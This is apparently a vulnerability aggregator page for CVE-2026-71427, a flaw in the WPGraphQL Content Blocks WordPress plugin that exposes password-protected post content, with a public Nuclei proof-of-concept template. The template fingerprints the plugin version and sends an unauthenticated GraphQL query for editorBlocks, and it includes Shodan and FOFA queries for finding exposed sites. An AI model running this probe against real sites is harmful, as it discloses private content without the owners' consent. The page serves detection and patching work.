CVE-2026-71427: WPGraphQL Content Blocks < 4.8.6 - Password-Protected Post Block Disclosure

2026-11-29 PoC Public

Description

WPGraphQL Content Blocks before 4.8.6 resolves editorBlocks from the underlying WordPress post without checking whether the viewer has supplied its post password. An unauthenticated GraphQL query can therefore access blocks from password-protected published posts even when the standard content field is null.

Details

CVE
CVE-2026-71427 · CVE.org
Severity
中危
Published
PoC
Public

PoC

id: CVE-2026-71427

info:
  name: WPGraphQL Content Blocks < 4.8.6 - Password-Protected Post Block Disclosure
  author: maulanawirawan
  severity: medium
  description: |
    WPGraphQL Content Blocks before 4.8.6 resolves editorBlocks from the underlying WordPress post without checking whether the viewer has supplied its post password. An unauthenticated GraphQL query can therefore access blocks from password-protected published posts even when the standard content field is null.
  impact: |
    An unauthenticated attacker can retrieve the rendered content of password-protected posts through editorBlocks, potentially disclosing private articles, previews, or other restricted material.
  remediation: |
    Upgrade WPGraphQL Content Blocks to 4.8.6 or later and review protected posts for unintended disclosure.
  reference:
    - https://github.com/wpengine/wp-graphql-content-blocks/security/advisories/GHSA-mj4c-3882-m65q
    - https://github.com/wpengine/wp-graphql-content-blocks/releases/tag/v4.8.6
    - https://nvd.nist.gov/vuln/detail/CVE-2026-71427
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-71427
    epss-score: 0.00793
    epss-percentile: 0.53017
    cwe-id: CWE-200,CWE-862
  metadata:
    verified: true
    max-request: 1
    vendor: wpengine
    product: wp-graphql-content-blocks
    framework: wordpress
    shodan-query: 'http.html:"wp-graphql"'
    fofa-query: 'body="wp-graphql"'
  tags: cve,cve2026,wordpress,wp-plugin,wp,graphql,broken-access-control,unauth,exposure

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wp-graphql-content-blocks/readme.txt"

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'contains(body, "WPGraphQL Content Blocks")'
          - 'compare_versions(plugin_version, "< 4.8.6")'
          - 'status_code == 200'
        condition: and

    extractors:
      - type: regex
        name: plugin_version
        part: body
        group: 1
        regex:
          - "(?i)Stable tag:\\s*([0-9]+\\.[0-9]+(?:\\.[0-9]+)?)"
        internal: true

  - raw:
      - |
        POST /graphql HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"query":"query{posts(first:30){nodes{content editorBlocks{__typename}}}}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'regex("\\\"content\\\"\\s*:\\s*null\\s*,\\s*\\\"editorBlocks\\\"\\s*:\\s*\\[\\s*\\{\\s*\\\"__typename\\\"\\s*:\\s*\\\"[A-Za-z0-9_]+\\\"", body)'
        condition: and
# digest: 490a004630440220109c26f882920fb3f32c13e88eb5e402aa57a133e66236d253f1c91c517bfc99022053e2636b85b8a7a8b2a867e7877f92630f4455e9bf1d0ce7d124d028bd907205:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life